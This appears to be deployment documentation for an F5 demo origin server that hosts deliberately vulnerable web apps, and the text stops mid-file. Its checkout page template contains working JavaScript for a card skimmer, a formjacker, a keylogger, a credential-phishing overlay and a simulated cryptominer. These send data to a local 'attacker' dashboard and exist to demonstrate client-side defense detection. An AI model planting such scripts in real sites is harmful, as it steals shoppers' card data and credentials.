- path: /var/www/html/index.html content: | <!DOCTYPE html> <html> <head><title>Origin Server</title></head> <body> <h1>Origin Server</h1> <p>Vulnerable web application origin server for F5 XC demo environments.</p> <ul> <li><a href="/juice-shop/">Juice Shop</a> - OWASP Top 10 (XSS, SQLi, CSRF)</li> <li><a href="/dvwa/">DVWA</a> - WAF testing (adjustable difficulty)</li> <li><a href="/vampi/">VAmPI</a> - REST API security (OWASP API Top 10)</li> <li><a href="/httpbin/">httpbin</a> - HTTP request/response testing</li> <li><a href="/whoami/">whoami</a> - Request diagnostics (headers, IP, hostname)</li> <li><a href="/csd-demo/">CSD Demo</a> - Client-Side Defense testing (skimming, formjacking)</li> <li><a href="/dvga/">DVGA</a> - GraphQL security (introspection, batching, injection)</li> <li><a href="/restaurant/">RESTaurant</a> - REST API security (OWASP API Top 10 2023)</li> <li><a href="javascript:void(0)" onclick="window.open('http://'+location.hostname+':8888','_blank')">crAPI</a> - Microservices API security (BOLA, BFLA, SSRF)</li> </ul> <p><a href="/health">Health Check</a></p> </body> </html>
- path: /opt/origin-server/dvwa-fpm/Dockerfile content: | FROM ghcr.io/digininja/dvwa:latest AS dvwa-src FROM php:8-fpm RUN apt-get update && apt-get install -y --no-install-recommends nginx \ libpng-dev libjpeg62-turbo-dev libfreetype6-dev zlib1g-dev \ && docker-php-ext-configure gd --with-freetype --with-jpeg \ && docker-php-ext-install mysqli pdo pdo_mysql gd \ && rm -rf /var/lib/apt/lists/* COPY --from=dvwa-src /var/www/html /var/www/html RUN cp /var/www/html/config/config.inc.php.dist /var/www/html/config/config.inc.php \ && chown -R www-data:www-data /var/www/html COPY nginx.conf /etc/nginx/sites-available/default RUN ln -sf /etc/nginx/sites-available/default /etc/nginx/sites-enabled/default COPY www.conf /usr/local/etc/php-fpm.d/www.conf COPY entrypoint.sh /entrypoint.sh RUN chmod +x /entrypoint.sh EXPOSE 80 CMD ["/entrypoint.sh"]
- path: /opt/origin-server/dvwa-fpm/nginx.conf content: | server { listen 80; server_name _; root /var/www/html; index index.php index.html;
location / { try_files $uri $uri/ /index.php?$args; }
location ~ \.php$ { fastcgi_pass 127.0.0.1:9000; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; include fastcgi_params; fastcgi_read_timeout 30; fastcgi_buffer_size 32k; fastcgi_buffers 16 32k; } }
- path: /opt/origin-server/dvwa-fpm/www.conf content: | [www] user = www-data group = www-data listen = 127.0.0.1:9000 pm = dynamic pm.max_children = 32 pm.start_servers = 8 pm.min_spare_servers = 4 pm.max_spare_servers = 16 pm.max_requests = 200 request_terminate_timeout = 30
- path: /opt/origin-server/dvwa-fpm/entrypoint.sh permissions: "0755" content: | #!/bin/sh sed -i "s/\$_DVWA\[ 'db_server' \].*/\$_DVWA[ 'db_server' ] = getenv('DB_SERVER') ?: '127.0.0.1';/" /var/www/html/config/config.inc.php sed -i "s/\$_DVWA\[ 'db_database' \].*/\$_DVWA[ 'db_database' ] = getenv('DB_DATABASE') ?: 'dvwa';/" /var/www/html/config/config.inc.php sed -i "s/\$_DVWA\[ 'db_user' \].*/\$_DVWA[ 'db_user' ] = getenv('DB_USER') ?: 'dvwa';/" /var/www/html/config/config.inc.php sed -i "s/\$_DVWA\[ 'db_password' \].*/\$_DVWA[ 'db_password' ] = getenv('DB_PASSWORD') ?: 'p@ssw0rd';/" /var/www/html/config/config.inc.php php-fpm -D nginx -g 'daemon off;'
- path: /opt/origin-server/vampi-gunicorn.sh permissions: "0755" content: | #!/bin/sh cd /vampi pip install -q gunicorn 2>/dev/null python -c " from config import db, vuln_app with vuln_app.app.app_context(): db.create_all() " exec gunicorn -b 0.0.0.0:5000 "config:vuln_app" -w 2 --timeout 30
- path: /opt/origin-server/csd-demo/Dockerfile content: | FROM python:3.12-slim WORKDIR /app RUN pip install --no-cache-dir flask gunicorn gevent COPY app.py . COPY templates/ templates/ EXPOSE 5001 CMD ["gunicorn", "-b", "0.0.0.0:5001", "app:app", "-w", "1", "-k", "gevent", "--timeout", "30"]
- path: /opt/origin-server/csd-demo/app.py content: | from datetime import datetime, timezone
from flask import Flask, jsonify, render_template, request
app = Flask(__name__)
exfiltrated_data = []
@app.route("/") def checkout(): return render_template("checkout.html")
@app.route("/dashboard") def dashboard(): return render_template("dashboard.html", entries=exfiltrated_data)
@app.route("/exfil", methods=["POST", "GET"]) def exfil(): entry = { "timestamp": datetime.now(timezone.utc).isoformat(), "source_ip": request.remote_addr, "user_agent": request.headers.get("User-Agent", ""), "attack_type": request.args.get("type", "unknown"), } if request.is_json: entry["payload"] = request.get_json(silent=True) elif request.args.get("d"): entry["payload"] = request.args.get("d") else: entry["payload"] = request.get_data(as_text=True) exfiltrated_data.append(entry) return jsonify({"status": "received"})
@app.route("/exfil/log") def exfil_log(): return jsonify(exfiltrated_data)
@app.route("/exfil/clear", methods=["POST"]) def exfil_clear(): exfiltrated_data.clear() return jsonify({"status": "cleared"})
@app.route("/health") def health(): return jsonify( { "status": "healthy", "component": "csd-demo", "attacks": [ "skimmer", "formjacker", "keylogger", "cryptominer", "dom-hijack", ], } )
if __name__ == "__main__": app.run(host="0.0.0.0", port=5001, debug=False)
- path: /opt/origin-server/csd-demo/templates/checkout.html content: | <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>ShopDemo - Checkout</title> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/css/bootstrap.min.css" rel="stylesheet"> <style> .attack-panel { position: fixed; top: 10px; right: 10px; z-index: 9999; width: 320px; font-size: 0.85rem; } .attack-panel .card { border: 2px solid #dc3545; } .attack-toggle { cursor: pointer; } .attack-active { background-color: #f8d7da; } .exfil-indicator { display: none; position: fixed; bottom: 20px; right: 20px; z-index: 9999; background: #dc3545; color: white; padding: 8px 16px; border-radius: 4px; font-size: 0.8rem; } .exfil-indicator.show { display: block; animation: pulse 1s infinite; } @keyframes pulse { 0%,100% { opacity: 1; } 50% { opacity: 0.5; } } .product-img { width: 80px; height: 80px; background: #e9ecef; border-radius: 8px; display: flex; align-items: center; justify-content: center; font-size: 2rem; } </style> </head> <body class="bg-light">
<!-- Attack Control Panel (visible to demo operator) --> <div class="attack-panel" id="attackPanel"> <div class="card shadow"> <div class="card-header bg-danger text-white d-flex justify-content-between align-items-center"> <strong>Attack Simulator</strong> <button class="btn btn-sm btn-outline-light" onclick="togglePanel()">_</button> </div> <div class="card-body" id="panelBody"> <p class="text-muted mb-2">Toggle attacks to demonstrate what F5 CSD detects:</p>
<div class="form-check form-switch mb-2"> <input class="form-check-input attack-toggle" type="checkbox" id="toggleSkimmer"> <label class="form-check-label" for="toggleSkimmer"> <strong>Card Skimmer</strong><br> <small class="text-muted">Steals CC data on form submit (Magecart)</small> </label> </div>
<div class="form-check form-switch mb-2"> <input class="form-check-input attack-toggle" type="checkbox" id="toggleFormjacker"> <label class="form-check-label" for="toggleFormjacker"> <strong>Formjacker</strong><br> <small class="text-muted">Hijacks form action to attacker endpoint</small> </label> </div>
<div class="form-check form-switch mb-2"> <input class="form-check-input attack-toggle" type="checkbox" id="toggleKeylogger"> <label class="form-check-label" for="toggleKeylogger"> <strong>Keylogger</strong><br> <small class="text-muted">Captures keystrokes in real time</small> </label> </div>
<div class="form-check form-switch mb-2"> <input class="form-check-input attack-toggle" type="checkbox" id="toggleCryptominer"> <label class="form-check-label" for="toggleCryptominer"> <strong>Cryptominer</strong><br> <small class="text-muted">Simulates CPU-intensive mining script</small> </label> </div>
<div class="form-check form-switch mb-2"> <input class="form-check-input attack-toggle" type="checkbox" id="toggleDomHijack"> <label class="form-check-label" for="toggleDomHijack"> <strong>DOM Hijack</strong><br> <small class="text-muted">Injects fake overlay form to steal PII</small> </label> </div>
<hr> <div class="d-flex gap-2"> <a href="/dashboard" class="btn btn-sm btn-outline-danger" target="_blank">Attacker Dashboard</a> <button class="btn btn-sm btn-outline-secondary" onclick="clearLog()">Clear Log</button> </div> <div id="exfilCount" class="mt-2 text-muted small"></div> </div> </div> </div>
<!-- Exfiltration Indicator --> <div class="exfil-indicator" id="exfilIndicator">Data exfiltrated to attacker</div>
<!-- Main Checkout Page --> <div class="container py-5" style="max-width: 960px;"> <div class="text-center mb-4"> <h2>ShopDemo Checkout</h2> <p class="text-muted">Complete your purchase — this is a simulated e-commerce checkout for CSD testing.</p> </div>
<!-- Order Summary --> <div class="card mb-4"> <div class="card-body"> <h5 class="card-title">Order Summary</h5> <div class="d-flex align-items-center mb-3"> <div class="product-img me-3">💻</div> <div class="flex-grow-1"> <strong>Premium Widget Pro</strong><br> <small class="text-muted">SKU: WDG-PRO-2024 · Qty: 1</small> </div> <strong>$149.99</strong> </div> <div class="d-flex align-items-center mb-3"> <div class="product-img me-3">📡</div> <div class="flex-grow-1"> <strong>Widget Accessory Pack</strong><br> <small class="text-muted">SKU: WDG-ACC-100 · Qty: 2</small> </div> <strong>$39.98</strong> </div> <hr> <div class="d-flex justify-content-between"> <span>Subtotal</span><span>$189.97</span> </div> <div class="d-flex justify-content-between"> <span>Shipping</span><span>$9.99</span> </div> <div class="d-flex justify-content-between"> <span>Tax</span><span>$16.15</span> </div> <hr> <div class="d-flex justify-content-between"> <strong>Total</strong><strong>$216.11</strong> </div> </div> </div>
<!-- Checkout Form --> <form id="checkoutForm" action="/checkout-complete" method="POST">
<div class="card mb-4"> <div class="card-body"> <h5 class="card-title">Billing Information</h5> <div class="row g-3"> <div class="col-md-6"> <label for="firstName" class="form-label">First name</label> <input type="text" class="form-control" id="firstName" name="firstName" placeholder="John" required> </div> <div class="col-md-6"> <label for="lastName" class="form-label">Last name</label> <input type="text" class="form-control" id="lastName" name="lastName" placeholder="Smith" required> </div> <div class="col-12"> <label for="email" class="form-label">Email</label> <input type="email" class="form-control" id="email" name="email" placeholder="john.smith@example.com" required> </div> <div class="col-12"> <label for="phone" class="form-label">Phone</label> <input type="tel" class="form-control" id="phone" name="phone" placeholder="(555) 123-4567"> </div> <div class="col-12"> <label for="address" class="form-label">Address</label> <input type="text" class="form-control" id="address" name="address" placeholder="1234 Main St" required> </div> <div class="col-md-5"> <label for="city" class="form-label">City</label> <input type="text" class="form-control" id="city" name="city" placeholder="Seattle" required> </div> <div class="col-md-4"> <label for="state" class="form-label">State</label> <input type="text" class="form-control" id="state" name="state" placeholder="WA" required> </div> <div class="col-md-3"> <label for="zip" class="form-label">ZIP</label> <input type="text" class="form-control" id="zip" name="zip" placeholder="98101" required> </div> <div class="col-12"> <label for="ssn" class="form-label">SSN <small class="text-muted">(for financing — optional)</small></label> <input type="text" class="form-control" id="ssn" name="ssn" placeholder="XXX-XX-XXXX"> </div> </div> </div> </div>
<div class="card mb-4"> <div class="card-body"> <h5 class="card-title">Payment Details</h5> <div class="row g-3"> <div class="col-12"> <label for="ccName" class="form-label">Name on card</label> <input type="text" class="form-control" id="ccName" name="ccName" placeholder="John Smith" required> </div> <div class="col-12"> <label for="ccNumber" class="form-label">Card number</label> <input type="text" class="form-control" id="ccNumber" name="ccNumber" placeholder="4111 1111 1111 1111" required> </div> <div class="col-md-4"> <label for="ccExpiry" class="form-label">Expiration</label> <input type="text" class="form-control" id="ccExpiry" name="ccExpiry" placeholder="MM/YY" required> </div> <div class="col-md-4"> <label for="ccCvv" class="form-label">CVV</label> <input type="text" class="form-control" id="ccCvv" name="ccCvv" placeholder="123" required> </div> </div> </div> </div>
<button class="btn btn-primary btn-lg w-100 mb-4" type="submit">Place Order — $216.11</button> </form>
<p class="text-center text-muted small"> This is a <strong>simulated checkout page</strong> for F5 Distributed Cloud Client-Side Defense testing. No real transactions are processed. All data stays on this server. </p> </div>
<!-- DOM Hijack Overlay (hidden by default) --> <div id="domHijackOverlay" style="display:none; position:fixed; top:0; left:0; width:100%; height:100%; background:rgba(0,0,0,0.7); z-index:10000; justify-content:center; align-items:center;"> <div style="background:white; padding:30px; border-radius:8px; max-width:400px; width:90%;"> <h5 style="color:#dc3545;">Session Expired</h5> <p>Please re-enter your credentials to continue:</p> <input type="text" class="form-control mb-2" id="hijackUser" placeholder="Username"> <input type="password" class="form-control mb-2" id="hijackPass" placeholder="Password"> <input type="text" class="form-control mb-2" id="hijackCC" placeholder="Card number for verification"> <button class="btn btn-danger w-100" onclick="submitHijack()">Verify Identity</button> </div> </div>
<script> const EXFIL_URL = "/exfil"; let activeAttacks = {}; let keystrokeBuffer = ""; let keystrokeTimer = null; let miningInterval = null;
function flashExfil() { const el = document.getElementById("exfilIndicator"); el.classList.add("show"); setTimeout(() => el.classList.remove("show"), 2000); }
function exfiltrate(type, data) { flashExfil(); fetch(EXFIL_URL + "?type=" + encodeURIComponent(type), { method: "POST", headers: {"Content-Type": "application/json"}, body: JSON.stringify(data) }); updateCount(); }
function updateCount() { fetch("/exfil/log").then(r => r.json()).then(d => { document.getElementById("exfilCount").textContent = d.length + " exfiltration(s) captured"; }); }
// ── Card Skimmer (Magecart-style) ── function enableSkimmer() { document.getElementById("checkoutForm").addEventListener("submit", skimmerHandler); } function disableSkimmer() { document.getElementById("checkoutForm").removeEventListener("submit", skimmerHandler); } function skimmerHandler(e) { const form = e.target; const data = {}; new FormData(form).forEach((v, k) => { data[k] = v; }); exfiltrate("skimmer", { description: "Magecart card skimmer — captured payment data on form submit", card_number: data.ccNumber, card_name: data.ccName, card_expiry: data.ccExpiry, card_cvv: data.ccCvv, email: data.email, billing_address: data.address + ", " + data.city + " " + data.state + " " + data.zip }); }
// ── Formjacker ── let originalAction = null; function enableFormjacker() { const form = document.getElementById("checkoutForm"); originalAction = form.action; form.action = EXFIL_URL + "?type=formjacker"; form.method = "POST"; } function disableFormjacker() { if (originalAction) { document.getElementById("checkoutForm").action = originalAction; } }
// ── Keylogger ── function enableKeylogger() { document.addEventListener("keydown", keylogHandler); } function disableKeylogger() { document.removeEventListener("keydown", keylogHandler); if (keystrokeTimer) clearTimeout(keystrokeTimer); keystrokeBuffer = ""; } function keylogHandler(e) { const target = e.target; const fieldId = target.id || target.name || "unknown"; keystrokeBuffer += e.key; if (keystrokeTimer) clearTimeout(keystrokeTimer); keystrokeTimer = setTimeout(() => { exfiltrate("keylogger", { description: "JavaScript keylogger — real-time keystroke capture", field: fieldId, keystrokes: keystrokeBuffer }); keystrokeBuffer = ""; }, 1500); }
// ── Cryptominer (simulated) ── function enableCryptominer() { exfiltrate("cryptominer", { description: "Cryptominer script loaded — simulating CPU-intensive mining", pool: "stratum+tcp://evil-pool.example.com:3333", wallet: "44AFFq5kSiGBoZ4NMDwYtN18NkMdYsKPmYHg...", status: "mining_started" }); miningInterval = setInterval(() => { let x = 0; for (let i = 0; i < 5000000; i++) { x += Math.sqrt(i) * Math.random(); } }, 100); } function disableCryptominer() { if (miningInterval) { clearInterval(miningInterval); miningInterval = null; } }
// ── DOM Hijack ── function enableDomHijack() { setTimeout(() => { document.getElementById("domHijackOverlay").style.display = "flex"; exfiltrate("dom-hijack", { description: "DOM manipulation — injected fake credential overlay", technique: "overlay_phishing", status: "overlay_displayed" }); }, 3000); } function disableDomHijack() { document.getElementById("domHijackOverlay").style.display = "none"; } function submitHijack() { exfiltrate("dom-hijack", { description: "DOM hijack — victim submitted credentials to fake overlay", username: document.getElementById("hijackUser").value, password: document.getElementById("hijackPass").value, card: document.getElementById("hijackCC").value }); document.getElementById("domHijackOverlay").style.display = "none"; }
// ── Toggle handlers ── const attacks = { toggleSkimmer: { enable: enableSkimmer, disable: disableSkimmer }, toggleFormjacker: { enable: enableFormjacker, disable: disableFormjacker }, toggleKeylogger: { enable: enableKeylogger, disable: disableKeylogger }, toggleCryptominer: { enable: enableCryptominer, disable: disableCryptominer }, toggleDomHijack: { enable: enableDomHijack, disable: disableDomHijack } };
Object.keys(attacks).forEach(id => { document.getElementById(id).addEventListener("change", function() { if (this.checked) { attacks[id].enable(); } else { attacks[id].disable(); } }); });
function togglePanel() { const body = document.getElementById("panelBody"); body.style.display = body.style.display === "none" ? "block" : "none"; }
function clearLog() { fetch("/exfil/clear", { method: "POST" }).then(() => updateCount()); }
updateCount(); </script> </body> </html>
- path: /opt/origin-server/csd-demo/templates/dashboard.html content: | <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>Attacker Dashboard - Exfiltrated Data</title> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/css/bootstrap.min.css" rel="stylesheet"> <style> body { background: #1a1a2e; color: #e0e0e0; font-family: monospace; } .card { background: #16213e; border-color: #0f3460; } .card-header { background: #0f3460; } .badge-skimmer { background: #dc3545; } .badge-formjacker { background: #fd7e14; } .badge-keylogger { background: #ffc107; color: #000; } .badge-cryptominer { background: #198754; } .badge-dom-hijack { background: #6f42c1; } pre { background: #0d1117; color: #58a6ff; padding: 10px; border-radius: 4px; font-size: 0.8rem; max-height: 200px; overflow-y: auto; } .header-bar { background: #dc3545; padding: 15px 0; margin-bottom: 20px; } </style> </head> <body> <div class="header-bar text-center"> <h4 class="text-white mb-0">Attacker C&C Dashboard</h4> <small class="text-white-50">Exfiltrated data from CSD demo checkout page</small> </div>
<div class="container-fluid px-4"> <div class="d-flex justify-content-between align-items-center mb-3"> <h5>Captured Data ({{ entries|length }} entries)</h5> <div> <button class="btn btn-sm btn-outline-light" onclick="location.reload()">Refresh</button> <button class="btn btn-sm btn-outline-danger" onclick="clearAndReload()">Clear All</button> </div> </div>
{% if entries %} {% for entry in entries|reverse %} <div class="card mb-3"> <div class="card-header d-flex justify-content-between align-items-center"> <span> <span class="badge badge-{{ entry.attack_type }}">{{ entry.attack_type }}</span> {{ entry.timestamp }} </span> <small>{{ entry.source_ip }}</small> </div> <div class="card-body"> <pre>{{ entry.payload | tojson(indent=2) if entry.payload is mapping else entry.payload }}</pre> </div> </div> {% endfor %} {% else %} <div class="text-center py-5"> <h5 class="text-muted">No data captured yet</h5> <p class="text-muted">Enable attacks on the checkout page and interact with the form.</p> </div> {% endif %} </div>
<script> function clearAndReload() { fetch("/exfil/clear", { method: "POST" }).then(() => location.reload()); } setTimeout(() => location.reload(), 5000); </script> </body> </html>
- path: /usr/local/lib/cloud-init-helpers.sh permissions: "0644" content: | #!/bin/sh PROGRESS_LOG="/var/log/cloud-init-progress.log" log_phase() { _p="$1"; shift; printf '[%s] [%s] %s\n' "$(date -u +%Y-%m-%dT%H:%M:%SZ)" "$_p" "$${*:-started}" | tee -a "$PROGRESS_LOG" >&2; } retry_cmd() { _m="$1"; _b="$2"; shift 2; _a=1; while [ "$_a" -le "$_m" ]; do if "$@"; then return 0; fi; [ "$_a" -lt "$_m" ] && { _w=$((_b*_a)); log_phase retry "$_a/$_m failed ($1) retry in $${_w}s"; sleep "$_w"; }; _a=$((_a+1)); done; log_phase retry "FAILED after $_m: $1"; return 1; } fetch_url() { log_phase fetch "$${3:-$1}"; retry_cmd 4 5 curl -fsSL --connect-timeout 15 --max-time 300 -o "$2" "$1"; } install_packages() { log_phase apt "installing: $*"; retry_cmd 3 10 apt-get install -y -o DPkg::Lock::Timeout=60 "$@"; } clone_repo() { log_phase git "cloning $1 -> $2"; retry_cmd 3 10 git clone --depth "$${3:-1}" --single-branch "$1" "$2"; } wait_for_http() { _u="$1"; _m="$2"; _d="$${3:-$1}"; log_phase health "waiting $_d (max $${_m}s)"; _e=0; while [ "$_e" -lt "$_m" ]; do curl -sf --max-time 5 "$_u" >/dev/null 2>&1 && { log_phase health "$_d ready $${_e}s"; return 0; }; sleep 5; _e=$((_e+5)); done; log_phase health "TIMEOUT $_d $${_m}s"; return 1; } wait_for_docker_health() { _c="$1"; _m="$2"; log_phase docker "waiting $_c (max $${_m}s)"; _e=0; while [ "$_e" -lt "$_m" ]; do _s=$(docker inspect -f '{{.State.Health.Status}}' "$_c" 2>/dev/null||echo missing); case "$_s" in healthy) log_phase docker "$_c healthy $${_e}s"; return 0;; unhealthy) log_phase docker "$_c unhealthy"; return 1;; esac; sleep 5; _e=$((_e+5)); done; log_phase docker "TIMEOUT $_c $${_m}s"; return 1; }
runcmd: - | . /usr/local/lib/cloud-init-helpers.sh log_phase "init" "origin-server provisioning started" # Enable sysstat collection (sar history) - sed -i 's/ENABLED="false"/ENABLED="true"/' /etc/default/sysstat - systemctl enable sysstat - systemctl restart sysstat # Kernel tuning - sysctl -p /etc/sysctl.d/99-origin-server.conf || exit 1 # Docker - | . /usr/local/lib/cloud-init-helpers.sh log_phase "docker-install" "installing Docker Engine" install -m 0755 -d /etc/apt/keyrings fetch_url "https://download.docker.com/linux/ubuntu/gpg" /etc/apt/keyrings/docker.asc "Docker GPG key" chmod a+r /etc/apt/keyrings/docker.asc echo "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.asc] https://download.docker.com/linux/ubuntu $(. /etc/os-release && echo "$VERSION_CODENAME") stable" > /etc/apt/sources.list.d/docker.list retry_cmd 3 10 apt-get update install_packages docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin systemctl enable docker systemctl start docker log_phase "docker-install" "Docker Engine installed" - systemctl daemon-reload - ln -sf /etc/nginx/sites-available/origin-server /etc/nginx/sites-enabled/origin-server - rm -f /etc/nginx/sites-enabled/default - nginx -t || exit 1 - systemctl enable nginx # Clone RESTaurant API repo for build - apt-get install -y git - | . /usr/local/lib/cloud-init-helpers.sh clone_repo "https://github.com/theowni/Damn-Vulnerable-RESTaurant-API-Game.git" /opt/origin-server/restaurant # Build custom images and start all containers - | . /usr/local/lib/cloud-init-helpers.sh log_phase "docker-build" "building custom images" cd /opt/origin-server && retry_cmd 3 30 docker compose build || exit 1 log_phase "docker-up" "starting 41 containers" cd /opt/origin-server && docker compose up -d || exit 1 - | . /usr/local/lib/cloud-init-helpers.sh log_phase "health-check" "waiting for application containers" for ctr in crapi-postgres crapi-mongo crapi-mailhog; do wait_for_docker_health "$ctr" 120 done for ctr in crapi-identity crapi-community crapi-workshop crapi-web; do wait_for_docker_health "$ctr" 180 done wait_for_http "http://127.0.0.1:3001" 120 "juice-shop" wait_for_http "http://127.0.0.1:5101/api/v1/users" 120 "vampi" wait_for_http "http://127.0.0.1:8201" 120 "httpbin" wait_for_http "http://127.0.0.1:8082" 120 "whoami" log_phase "health-check" "all containers ready" # DVWA database setup (create tables via HTTP setup endpoint) - | for i in $(seq 1 30); do docker exec dvwa-db mysqladmin ping -u root -proot_password 2>/dev/null && break sleep 2 done - | . /usr/local/lib/cloud-init-helpers.sh TOKEN=$(curl -sf http://127.0.0.1:8101/setup.php | grep -oP "user_token.*?value='\K[a-f0-9]+" | head -1) if [ -z "$TOKEN" ]; then log_phase "warning" "empty DVWA token — skipping database setup"; else curl -sf -X POST http://127.0.0.1:8101/setup.php -d "create_db=Create+%2F+Reset+Database&user_token=$${TOKEN}" -c /tmp/dvwa-setup -b /tmp/dvwa-setup fi - systemctl restart nginx - | . /usr/local/lib/cloud-init-helpers.sh log_phase "complete" "origin-server provisioned"Azure outputs
Section titled “Azure outputs”outputs.tf exposes 25 outputs following the Demo Resource Standard — 15 standard outputs shared
by all demo resources (deployer, public_ip, private_ip, ssh_command,
resource_group_name, vm_name, nsg_name, vnet_name, subnet_id, component,
environment, resource_group_id, vm_id, nsg_id, location) plus 10 component-specific
application URLs (origin_url, health_check_url, juice_shop_url, dvwa_url, vampi_url,
httpbin_url, whoami_url, dvga_url, restaurant_url, crapi_url):
# ---------------------------------------------------------# Standard Outputs (present in every demo resource)# ---------------------------------------------------------
output "deployer" { description = "Resolved deployer identifier" value = local.deployer}
output "resource_group_name" { description = "Name of the resource group" value = azurerm_resource_group.main.name}
output "resource_group_id" { description = "Resource ID of the resource group" value = azurerm_resource_group.main.id}
output "location" { description = "Azure region" value = azurerm_resource_group.main.location}
output "public_ip" { description = "Public IP address of the VM" value = azurerm_public_ip.main.ip_address}
output "private_ip" { description = "Private IP address of the VM" value = azurerm_network_interface.main.private_ip_address}
output "ssh_command" { description = "SSH command to connect to the VM" value = "ssh ${var.admin_username}@${azurerm_public_ip.main.ip_address}"}
output "vm_name" { description = "Name of the virtual machine" value = azurerm_linux_virtual_machine.main.name}
output "vm_id" { description = "Resource ID of the virtual machine" value = azurerm_linux_virtual_machine.main.id}
output "nsg_name" { description = "Name of the network security group" value = azurerm_network_security_group.main.name}
output "nsg_id" { description = "Resource ID of the network security group" value = azurerm_network_security_group.main.id}
output "vnet_name" { description = "Name of the virtual network" value = azurerm_virtual_network.main.name}
output "subnet_id" { description = "Resource ID of the subnet" value = azurerm_subnet.main.id}
output "component" { description = "Component name" value = local.component}
output "environment" { description = "Environment label" value = var.environment}
# ---------------------------------------------------------# Component-Specific Outputs# ---------------------------------------------------------
output "origin_url" { description = "Base HTTP URL of the origin server" value = "http://${azurerm_public_ip.main.ip_address}"}
output "health_check_url" { description = "Health check endpoint" value = "http://${azurerm_public_ip.main.ip_address}/health"}
output "juice_shop_url" { description = "OWASP Juice Shop URL" value = "http://${azurerm_public_ip.main.ip_address}/juice-shop/"}
output "dvwa_url" { description = "DVWA URL" value = "http://${azurerm_public_ip.main.ip_address}/dvwa/"}
output "vampi_url" { description = "VAmPI URL" value = "http://${azurerm_public_ip.main.ip_address}/vampi/"}
output "httpbin_url" { description = "httpbin URL" value = "http://${azurerm_public_ip.main.ip_address}/httpbin/"}
output "whoami_url" { description = "whoami request diagnostics URL" value = "http://${azurerm_public_ip.main.ip_address}/whoami/"}
output "dvga_url" { description = "DVGA GraphQL security URL" value = "http://${azurerm_public_ip.main.ip_address}/dvga/"}
output "restaurant_url" { description = "RESTaurant API security URL" value = "http://${azurerm_public_ip.main.ip_address}/restaurant/"}
output "crapi_url" { description = "crAPI microservices security URL" value = "http://${azurerm_public_ip.main.ip_address}:8888"}Copy terraform.tfvars.example to terraform.tfvars and fill in your values. The .gitignore
excludes terraform.tfvars:
# Copy this file to terraform.tfvars and fill in your values.# terraform.tfvars is gitignored — never commit real credentials.
# --- Required ---subscription_id = "00000000-0000-0000-0000-000000000000"
# --- Optional overrides (defaults shown) ---# deployer = "" # auto-resolved from Azure AD# location = "eastus2"# environment = "lab"# vm_size = "Standard_D16s_v3"# disk_size_gb = 60# admin_username = "azureuser"# ssh_public_key_path = "~/.ssh/id_ed25519.pub"# tags = {}Create and review a saved plan before applying it:
terraform initinstall -d -m 700 .artifactsterraform plan -out=.artifacts/tfplanterraform show .artifacts/tfplan# Apply only after reviewing the saved planterraform apply .artifacts/tfplanTerraform outputs the public IP, SSH command, and application URLs. Allow 5—10 minutes for cloud-init to install Docker, pull images, and configure nginx, then verify the health endpoint:
curl -s "http://$(terraform output -raw public_ip)/health" | jq .Expected response:
{ "status": "healthy", "component": "origin-server", "applications": ["juice-shop", "dvwa", "vampi", "httpbin", "whoami", "csd-demo", "dvga", "restaurant", "crapi"]}DVWA requires one-time database initialization at http://<PUBLIC_IP>/dvwa/setup.php. Select
Create / Reset Database. Default credentials are admin / password. VAmPI initializes its
SQLite database automatically.
Deploy AWS Juice Shop
Section titled “Deploy AWS Juice Shop”The AWS module requires Terraform >= 1.7 and AWS provider 6.x. It creates Juice Shop only; it does not create the Azure full-origin applications, nginx host, or VM.
Pin the module source
Section titled “Pin the module source”Until a later release is proven to contain both the module and computed-subnet support, consume the
module from canonical commit d6384bb0621c4c1eceb38d55a6b63e7b9cc7083a:
module "juice_shop" { source = "git::https://github.com/f5-sales-demo/origin-server.git//terraform/modules/aws-juice-shop?ref=d6384bb0621c4c1eceb38d55a6b63e7b9cc7083a"
name = "juice-demo" vpc_id = module.network.vpc_id alb_subnet_ids = [module.network.alb_subnet_a_id, module.network.alb_subnet_b_id] task_subnet_ids = [module.network.task_subnet_a_id, module.network.task_subnet_b_id] cloudwatch_logs_kms_key_arn = module.logging.cloudwatch_logs_kms_key_arn alb_access_logs_bucket = module.logging.alb_access_logs_bucket
public_exposure = false allowed_ingress_cidrs = var.approved_origin_cidrs}
output "origin_url" { description = "HTTP URL exported by the Juice Shop origin module." value = module.juice_shop.origin_url}Release v1.7.88 predates the AWS module and must not be cited or used as a release containing it.
Do not replace the commit with a floating branch or an unproven placeholder release.
The subnet IDs in this example may be unknown until apply. Their list length is plan-known because each element is written explicitly. Preserve that fixed collection cardinality: provide at least two ALB subnet elements that resolve to distinct Availability Zones and at least one private task-subnet element. Do not derive these lists by filtering a collection whose size is unknown during planning.
Confirm the caller boundary
Section titled “Confirm the caller boundary”Before planning, confirm that the caller-managed VPC, subnet routing, KMS key, S3 bucket and ALB log-delivery policy exist. The caller also owns AWS provider authentication, Terraform backend and state, and the decision to use an internal or public ALB. Private Fargate task subnets need controlled egress for the digest-pinned Docker Hub image and AWS Logs, or equivalent endpoints and egress. The module validates subnet VPC membership and distinct ALB Availability Zones, but it does not inspect or validate route tables.
The default internal ALB requires implemented private F5 Distributed Cloud origin connectivity into the VPC, such as a Customer Edge path with the required routes, or another authorized private connection. VPN or Direct Connect alone does not make the ALB usable by F5 Distributed Cloud unless that private origin path is actually configured end-to-end. If an internal hostname is unreachable, repair the private connectivity instead of making the ALB public.
For an internet-facing ALB, set public_exposure = true, place the ALB in subnets whose route tables
send internet-bound traffic to an Internet Gateway, and set allowed_ingress_cidrs to explicit
approved source networks. World-open ingress is not recommended.
F5 Distributed Cloud terminates public HTTPS. Its HTTP connection to the ALB is a documented trusted-routing-domain exception, constrained by the ALB ingress CIDRs and task security-group relationship. Do not use this design where that path can be intercepted.
Module source reference
Section titled “Module source reference”These fences render the canonical module, minimal caller, and test sources staged by the documentation build:
terraform { required_version = ">= 1.7.0"
required_providers { aws = { source = "hashicorp/aws" version = ">= 6.0, < 7.0" } }}variable "name" { description = "DNS-safe prefix used for AWS resource names." type = string
